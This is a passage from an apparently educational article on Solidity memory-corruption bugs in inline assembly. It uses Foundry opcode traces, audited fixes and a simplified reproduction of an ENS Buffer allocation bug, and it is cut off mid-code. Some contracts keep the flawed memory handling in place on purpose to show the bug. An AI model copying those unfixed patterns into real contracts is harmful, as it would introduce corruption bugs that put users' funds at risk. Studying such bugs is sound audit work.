ADD         [Stack : <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>         ]

<span class="hljs-comment">// `a` and `b` primary inputs have been written to memory</span>
<span class="hljs-comment">// and the next free memory address 0xc0 has been calculated and</span>
<span class="hljs-comment">// on the stack. We skip opcodes concerned with calling internal </span>
<span class="hljs-comment">// function `getSecondaryInputs` and evaluating `for` loop condition</span>
<span class="hljs-comment">// until we reach PC 0xc2 (194) which is setting up for the external</span>
<span class="hljs-comment">// call</span>
DUP2        [Stack : <span class="hljs-number">0xe1cb0e52</span>..00, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xe1cb0e52</span>..00, <span class="hljs-number">0x5616</span>..b72f, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x71</span>, <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>                                                                                                 ]

<span class="hljs-comment">// before making external call the value of `a` at 0x80 will be </span>
<span class="hljs-comment">// over-written - memory corruption first occurs before external call!</span>
MSTORE      [Stack : <span class="hljs-number">0xe1cb0e52</span>..00, <span class="hljs-number">0x5616</span>..b72f, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x71</span>, <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>,
                     <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0xe1cb0e52</span>..00, <span class="hljs-comment">// `a` over-written</span>
                     <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>]

<span class="hljs-comment">// we then move forward into `InfoRetriever::getVal` until `RETURN`</span>
<span class="hljs-comment">// takes us back into `HasherImpl::_getSecondaryInputs` PC 0x0d5 (213),</span>
<span class="hljs-comment">// where we observe that 0x80 now contains the return value `3` from</span>
<span class="hljs-comment">// the external call</span>
ISZERO      [Stack : <span class="hljs-number">0x84</span>, <span class="hljs-number">0xe1cb0e52</span>..00, <span class="hljs-number">0x5616</span>..b72f, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x71</span>, <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xe98b5f2d</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>,
                     <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>, <span class="hljs-comment">// `a` over-written again</span>
                     <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>]

<span class="hljs-comment">// manual assembly to store `3` gets executed at PC 0x10b (267)</span>
<span class="hljs-comment">// which stores the return value of the external call at 0xc0.</span>
<span class="hljs-comment">// however the return value `3` was also stored at 0x80 where `a` was </span>
<span class="hljs-comment">// previously stored so the correct hash can no longer be computed.</span>
<span class="hljs-comment">// also note that solidity has updated the FMPA 0x40 to point to</span>
<span class="hljs-comment">// 0xa0 which is where we are storing the value of variable `b` meaning</span>
<span class="hljs-comment">// that the second input variable could also be over-written</span>
MSTORE      [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0xa0</span>, <span class="hljs-comment">// FMPA updated to where `b` stored!</span>
                     <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>, <span class="hljs-comment">// `a` remains over-written</span>
                     <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-comment">// `b` correct</span>
                     <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>  <span class="hljs-comment">// manual assembly stores return val]</span>
</code></pre>
<p>The above opcode trace shows:</p>
<ul>
<li><p>the value of input variable <code>a</code> stored in memory at 0x80 gets over-written twice; once before and once after the external call</p>
</li>
<li><p>Solidity has updated the FMPA to point to 0xa0 which is where the manual assembly is storing the value of input variable <code>b</code> - this makes it possible for future operations to also over-write the second input variable</p>
</li>
<li><p>it is impossible to now calculate the correct hash as at least one input variable <code>a</code> has been over-written due to memory corruption caused by the manual assembly not accounting for how Solidity uses memory during the external function call</p>
</li>
</ul>
<p>To fix this problem we need to modify the first block in our manual assembly to update the Free Memory Pointer Address (FMPA) to point to the Next Free Memory Address (NFMA) like so:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hashInputs</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> additionalInputCount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> result</span>) </span>{
    <span class="hljs-keyword">uint256</span> dataPtr;

    <span class="hljs-keyword">assembly</span> {
        <span class="hljs-comment">// read free memory pointer to find next free memory address</span>
        dataPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-number">0x40</span>)

        <span class="hljs-comment">// store `a` in memory at next free memory address</span>
        <span class="hljs-built_in">mstore</span>(dataPtr, a)

        <span class="hljs-comment">// update pointer to subsequent next free memory address</span>
        dataPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(dataPtr, <span class="hljs-number">0x20</span>)

        <span class="hljs-comment">// store `b` in memory at next free memory address</span>
        <span class="hljs-built_in">mstore</span>(dataPtr, b)

        <span class="hljs-comment">// update pointer to subsequent next free memory address</span>
        dataPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(dataPtr, <span class="hljs-number">0x20</span>)

        <span class="hljs-comment">// @audit this prevents the external call in `_getSecondaryInputs`</span>
        <span class="hljs-comment">// from over-writing value of `a` stored at 0x80</span>
        <span class="hljs-comment">//</span>
        <span class="hljs-comment">// update free memory pointer to point to next free memory address</span>
        <span class="hljs-built_in">mstore</span>(<span class="hljs-number">0x40</span>, dataPtr)
    }
</code></pre>
<p>Making this change then re-running the Foundry debugger shows at PC 0x110 (272):</p>
<ul>
<li><p>the return value of the external call is stored in memory at 0xc0 with both primary and secondary input variables having been correctly stored in memory</p>
</li>
<li><p>the FMPA 0x40 points to unused 0xe0 such that any new values stored in memory won't over-write the primary and secondary input variables required for the hash calculation</p>
</li>
</ul>
<pre><code class="lang-solidity">MSTORE      [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0xe0</span>, <span class="hljs-comment">// FMPA updated to unused value</span>
                     <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-comment">// `a` correct</span>
                     <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-comment">// `b` correct</span>
                     <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>] <span class="hljs-comment">// returned secondary input correct</span>
</code></pre>
<p>However this is not enough as another subtle bug lies in wait to corrupt our hash calculation!</p>
<h2 id="heading-assuming-unchanged-free-memory-pointer-address">Assuming Unchanged Free Memory Pointer Address</h2>
<p>Another subtle problem when mixing blocks of manual assembly with normal Solidity code is when the manual assembly code assumes that the Free Memory Pointer Address (FMPA) hasn't changed simply because it hasn't changed it - this is a dangerous assumption because the normal Solidity code in between manual assembly blocks could have updated the FMPA.</p>
<p>In the previous opcode execution trace we observed that:</p>
<ul>
<li><p>even before making our fix for the identified bug, Solidity updated the FMPA after returning the secondary input value from the external call</p>
</li>
<li><p>our fix required a manual update to the FMPA before the external call</p>
</li>
</ul>
<p>Any update to the FMPA is problematic for our code because the manual assembly block which calculates the hash:</p>
<ul>
<li><p>reads the Next Free Memory Address (NFMA) from the current FMPA</p>
</li>
<li><p>assumes that the inputs to be hashed start at that NFMA</p>
</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// compute hash of all inputs</span>
<span class="hljs-keyword">assembly</span> {
    <span class="hljs-comment">// @audit assumes FMPA unchanged from first assembly block</span>
    <span class="hljs-comment">// where primary inputs are stored my first loading FMPA</span>
    <span class="hljs-keyword">let</span> startPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-number">0x40</span>)
    result <span class="hljs-operator">:=</span> <span class="hljs-built_in">keccak256</span>(startPtr, <span class="hljs-built_in">sub</span>(dataPtr, startPtr))
}
</code></pre>
<p>Hence once the external function which fetches the secondary inputs executes and the FMPA has been updated, the hashing code will never correctly hash the appropriate inputs even if memory corruption didn't occur. We can observe this in the opcode execution traces, firstly for the original version without our first fix starting from PC 0x079 (121):</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1       [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x40</span>, ......]    
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0xa0</span>,
                     <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>, <span class="hljs-comment">// value of 'a' corrupted by ext func</span>
                     <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>,
                     <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// call keccak256(offset, size)</span>
<span class="hljs-comment">// this will hash memory 0xa0 and 0xc0</span>
<span class="hljs-comment">// returning keccak256(abi.encode(2,3))</span>
KECCAK256(<span class="hljs-number">0xa0</span>, <span class="hljs-number">0x40</span>)
</code></pre>
<p>Secondly the same error occurs in our "fixed" version where the memory corruption issue has been resolved starting from PC 0x7e (126):</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1       [Stack : <span class="hljs-number">0xe0</span>, <span class="hljs-number">0x00</span>, ......]    
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0xe0</span>,
                     <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-comment">// no memory corruption</span>
                     <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>,
                     <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// call keccak256(offset, size)</span>
<span class="hljs-comment">// this will hash empty memory since now FMPA points to unused memory</span>
KECCAK256(<span class="hljs-number">0xa0</span>, <span class="hljs-number">0x00</span>)
</code></pre>
<p>To resolve the second issue:</p>
<ul>
<li><p>the first manual assembly block needs to save the starting memory address for where the input variables are stored</p>
</li>
<li><p>before the external function call the FMPA needs to be updated to an unused address (our first fix)</p>
</li>
<li><p>the final assembly block needs to use the saved starting memory address to calculate the offset and size parameters passed to <code>keccak256</code></p>
</li>
</ul>
<p>The full fixed source code contains <code>@audit</code> tags to indicate all changes made:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.25;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Test</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Test.sol"</span>;

<span class="hljs-comment">// separate contracts accessed via interfaces</span>
<span class="hljs-comment">// prevents the optimizer from being "too smart", helping</span>
<span class="hljs-comment">// to better approximate real-world execution</span>
<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IInfoRetriever</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getVal</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}

<span class="hljs-comment">// this contract gets used to return additional</span>
<span class="hljs-comment">// values required by the primary computation</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">InfoRetriever</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IInfoRetriever</span> </span>{
    <span class="hljs-keyword">uint256</span> returnVal <span class="hljs-operator">=</span> <span class="hljs-number">3</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setVal</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> newVal</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        returnVal <span class="hljs-operator">=</span> newVal;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getVal</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
       <span class="hljs-keyword">return</span> returnVal;
    }
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IHasher</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hashInputs</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> additionalInputCount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> result</span>)</span>;
}

<span class="hljs-comment">// actual implementation that computes a hash of</span>
<span class="hljs-comment">// two primary inputs and an optional number of</span>
<span class="hljs-comment">// secondary inputs</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">HasherImpl</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IHasher</span> </span>{

    <span class="hljs-comment">// used to retrieve optional number of secondary inputs</span>
    IInfoRetriever infoRetriever;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">IInfoRetriever _infoRetriever</span>) </span>{
        infoRetriever <span class="hljs-operator">=</span> _infoRetriever;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_getSecondaryInputs</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> dataPtr, <span class="hljs-keyword">uint256</span> inputsToFetch</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint256</span> i; i<span class="hljs-operator">&lt;</span>inputsToFetch; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {

            <span class="hljs-comment">// @audit once this external call completes it will:</span>
            <span class="hljs-comment">// - read the free memory pointer to find next free memory address</span>
            <span class="hljs-comment">//   which will be 0x80 as we never updated it since we are manually</span>
            <span class="hljs-comment">//   allocating memory</span>
            <span class="hljs-comment">// - write the result of the external call to this memory address</span>
            <span class="hljs-comment">// - but this is where the input variable `a` was saved!</span>
            <span class="hljs-comment">// - hence `a` gets subtly over-written by the return</span>
            <span class="hljs-comment">//   value of this external call which results in the hash calculation</span>
            <span class="hljs-comment">//   becoming corrupted!</span>
            <span class="hljs-comment">//</span>
            <span class="hljs-comment">// make external call to retrieve the data</span>
            <span class="hljs-keyword">uint256</span> input <span class="hljs-operator">=</span> infoRetriever.getVal();

            <span class="hljs-keyword">assembly</span> {
                <span class="hljs-comment">// for each additional input, store it into memory</span>
                <span class="hljs-comment">// at next free memory address</span>
                <span class="hljs-built_in">mstore</span>(dataPtr, input)

                <span class="hljs-comment">// update pointer to subsequent next free memory address</span>
                dataPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(dataPtr, <span class="hljs-number">0x20</span>)
            }
        }

        <span class="hljs-comment">// returns updated dataPtr</span>
        <span class="hljs-keyword">return</span> dataPtr;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hashInputs</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> additionalInputCount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> result</span>) </span>{
        <span class="hljs-keyword">uint256</span> dataPtr;

        <span class="hljs-comment">// @audit used to hash correct memory addresses at the end</span>
        <span class="hljs-keyword">uint256</span> startDataPtr;

        <span class="hljs-keyword">assembly</span> {
            <span class="hljs-comment">// read free memory pointer to find next free memory address</span>
            dataPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-number">0x40</span>)

            <span class="hljs-comment">// @audit save starting address where we save our variables</span>
            <span class="hljs-comment">// as 0x40 gets overwritten later </span>
            startDataPtr <span class="hljs-operator">:=</span> dataPtr

            <span class="hljs-comment">// store `a` in memory at next free memory address</span>
            <span class="hljs-built_in">mstore</span>(dataPtr, a)

            <span class="hljs-comment">// update pointer to subsequent next free memory address</span>
            dataPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(dataPtr, <span class="hljs-number">0x20</span>)

            <span class="hljs-comment">// store `b` in memory at next free memory address</span>
            <span class="hljs-built_in">mstore</span>(dataPtr, b)

            <span class="hljs-comment">// update pointer to subsequent next free memory address</span>
            dataPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(dataPtr, <span class="hljs-number">0x20</span>)

            <span class="hljs-comment">// @audit this prevents the external call in `_getSecondaryInputs` from</span>
            <span class="hljs-comment">// over-writing value of `a` stored at 0x80</span>
            <span class="hljs-comment">//</span>
            <span class="hljs-comment">// update free memory pointer to point to next free memory address</span>
            <span class="hljs-built_in">mstore</span>(<span class="hljs-number">0x40</span>, dataPtr)
        }

        <span class="hljs-comment">// get the additional input from the info retriever, passing the updated</span>
        <span class="hljs-comment">// `dataPtr` so any new elements will be saved in subsequent free memory</span>
        <span class="hljs-comment">// addresses</span>
        dataPtr <span class="hljs-operator">=</span> _getSecondaryInputs(dataPtr, additionalInputCount);

        <span class="hljs-comment">// compute hash of all inputs</span>
        <span class="hljs-keyword">assembly</span> {
            <span class="hljs-comment">// @audit using saved starting memory address</span>
            result <span class="hljs-operator">:=</span> <span class="hljs-built_in">keccak256</span>(startDataPtr, <span class="hljs-built_in">sub</span>(dataPtr, startDataPtr))
        }
    }
}

<span class="hljs-comment">// test harness</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">HasherTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{

    IInfoRetriever infoRetriever <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> InfoRetriever();
    IHasher hasher <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> HasherImpl(infoRetriever);
    <span class="hljs-keyword">uint256</span> a <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
    <span class="hljs-keyword">uint256</span> b <span class="hljs-operator">=</span> <span class="hljs-number">2</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_HashWithoutAdditionalInput</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// works great</span>
        <span class="hljs-keyword">bytes32</span> result <span class="hljs-operator">=</span> hasher.hashInputs(a, b, <span class="hljs-number">0</span>);

        assertEq(result, <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>)));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_HashWithAdditionalInput</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// now also works</span>
        <span class="hljs-keyword">bytes32</span> result <span class="hljs-operator">=</span> hasher.hashInputs(a, b, <span class="hljs-number">1</span>);

        assertEq(result, <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>)));

        <span class="hljs-comment">// also works for more than 1 secondary input</span>
        result <span class="hljs-operator">=</span> hasher.hashInputs(a, b, <span class="hljs-number">3</span>);

        assertEq(result, <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">3</span>, <span class="hljs-number">3</span>)));
    }
}
</code></pre>
<p>Verify that both tests pass using <code>forge test --match-contract HasherTest</code> .</p>
<h2 id="heading-memory-corruption-due-to-insufficient-allocation">Memory Corruption Due To Insufficient Allocation</h2>
<p>Another subtle memory corruption issue that can occur is due to insufficient allocation, a subsequent memory variable can become corrupted when the variable before it in memory is updated. This is likely to occur if there is an asymmetry between functions which allocate capacity and functions which write. Consider this real-world <a target="_blank" href="https://solodit.xyz/issues/memory-corruption-in-buffer-fixed-consensys-ens-permanent-registrar-markdown">insufficient allocation memory corruption</a> from Ethereum Name Service (ENS) <a target="_blank" href="https://www.cyfrin.io/">smart contract audit</a> which I've simplified into the following stand-alone Foundry test harness:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.25;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Test</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Test.sol"</span>;

<span class="hljs-comment">// finding   : https://solodit.xyz/issues/memory-corruption-in-buffer-fixed-consensys-ens-permanent-registrar-markdown</span>
<span class="hljs-comment">// code from : https://github.com/ensdomains/buffer/blob/c06d796e2f6086473d229a96c2eb75053a19b8ec/contracts/Buffer.sol</span>
<span class="hljs-class"><span class="hljs-keyword">library</span> <span class="hljs-title">Buffer</span> </span>{

    <span class="hljs-keyword">struct</span> <span class="hljs-title">buffer</span> {
        <span class="hljs-keyword">bytes</span> buf;
        <span class="hljs-keyword">uint</span> capacity;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">init</span>(<span class="hljs-params">buffer <span class="hljs-keyword">memory</span> buf, <span class="hljs-keyword">uint</span> capacity</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params">buffer <span class="hljs-keyword">memory</span></span>) </span>{
        <span class="hljs-keyword">if</span> (capacity <span class="hljs-operator">%</span> <span class="hljs-number">32</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            capacity <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-number">32</span> <span class="hljs-operator">-</span> (capacity <span class="hljs-operator">%</span> <span class="hljs-number">32</span>);
        }
        <span class="hljs-comment">// Allocate space for the buffer data</span>
        buf.capacity <span class="hljs-operator">=</span> capacity;
        <span class="hljs-keyword">assembly</span> {
            <span class="hljs-keyword">let</span> ptr <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-number">0x40</span>)
            <span class="hljs-built_in">mstore</span>(buf, ptr)
            <span class="hljs-built_in">mstore</span>(ptr, <span class="hljs-number">0</span>)

            <span class="hljs-comment">// @audit does not account for length 0x20 (32),</span>
            <span class="hljs-comment">// even though the `write` function does</span>
            <span class="hljs-built_in">mstore</span>(<span class="hljs-number">0x40</span>, <span class="hljs-built_in">add</span>(ptr, capacity))
            <span class="hljs-comment">// @audit fix:</span>
            <span class="hljs-comment">//mstore(0x40, add(32, add(ptr, capacity)))</span>
        }
        <span class="hljs-keyword">return</span> buf;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">append</span>(<span class="hljs-params">buffer <span class="hljs-keyword">memory</span> buf, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params">buffer <span class="hljs-keyword">memory</span></span>) </span>{
        <span class="hljs-keyword">return</span> write(buf, buf.buf.<span class="hljs-built_in">length</span>, <span class="hljs-keyword">bytes32</span>(data), data.<span class="hljs-built_in">length</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">write</span>(<span class="hljs-params">buffer <span class="hljs-keyword">memory</span> buf, <span class="hljs-keyword">uint</span> off, <span class="hljs-keyword">bytes32</span> data, <span class="hljs-keyword">uint</span> len</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params">buffer <span class="hljs-keyword">memory</span></span>) </span>{
        <span class="hljs-keyword">if</span> (len <span class="hljs-operator">+</span> off <span class="hljs-operator">&gt;</span> buf.capacity) {
            resize(buf, max(buf.capacity, len) <span class="hljs-operator">*</span> <span class="hljs-number">2</span>);
        }

        <span class="hljs-keyword">uint</span> mask <span class="hljs-operator">=</span> <span class="hljs-number">256</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> len <span class="hljs-operator">-</span> <span class="hljs-number">1</span>;
        <span class="hljs-comment">// Right-align data</span>
        data <span class="hljs-operator">=</span> data <span class="hljs-operator">&gt;</span><span class="hljs-operator">&gt;</span> (<span class="hljs-number">8</span> <span class="hljs-operator">*</span> (<span class="hljs-number">32</span> <span class="hljs-operator">-</span> len));
        <span class="hljs-keyword">assembly</span> {
            <span class="hljs-comment">// Memory address of the buffer data</span>
            <span class="hljs-keyword">let</span> bufptr <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(buf)
            <span class="hljs-comment">// Address = buffer address + sizeof(buffer length) + off + len</span>
            <span class="hljs-keyword">let</span> dest <span class="hljs-operator">:=</span> <span class="hljs-built_in">add</span>(<span class="hljs-built_in">add</span>(bufptr, off), len)
            <span class="hljs-built_in">mstore</span>(dest, <span class="hljs-built_in">or</span>(<span class="hljs-built_in">and</span>(<span class="hljs-built_in">mload</span>(dest), <span class="hljs-built_in">not</span>(mask)), data))
            <span class="hljs-comment">// Update buffer length if we extended it</span>
            <span class="hljs-keyword">if</span> <span class="hljs-built_in">gt</span>(<span class="hljs-built_in">add</span>(off, len), <span class="hljs-built_in">mload</span>(bufptr)) {
                <span class="hljs-built_in">mstore</span>(bufptr, <span class="hljs-built_in">add</span>(off, len))
            }
        }
        <span class="hljs-keyword">return</span> buf;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">resize</span>(<span class="hljs-params">buffer <span class="hljs-keyword">memory</span> buf, <span class="hljs-keyword">uint</span> capacity</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> </span>{
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> oldbuf <span class="hljs-operator">=</span> buf.buf;
        init(buf, capacity);
        append(buf, oldbuf);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">max</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> a, <span class="hljs-keyword">uint</span> b</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">if</span> (a <span class="hljs-operator">&gt;</span> b) {
            <span class="hljs-keyword">return</span> a;
        }
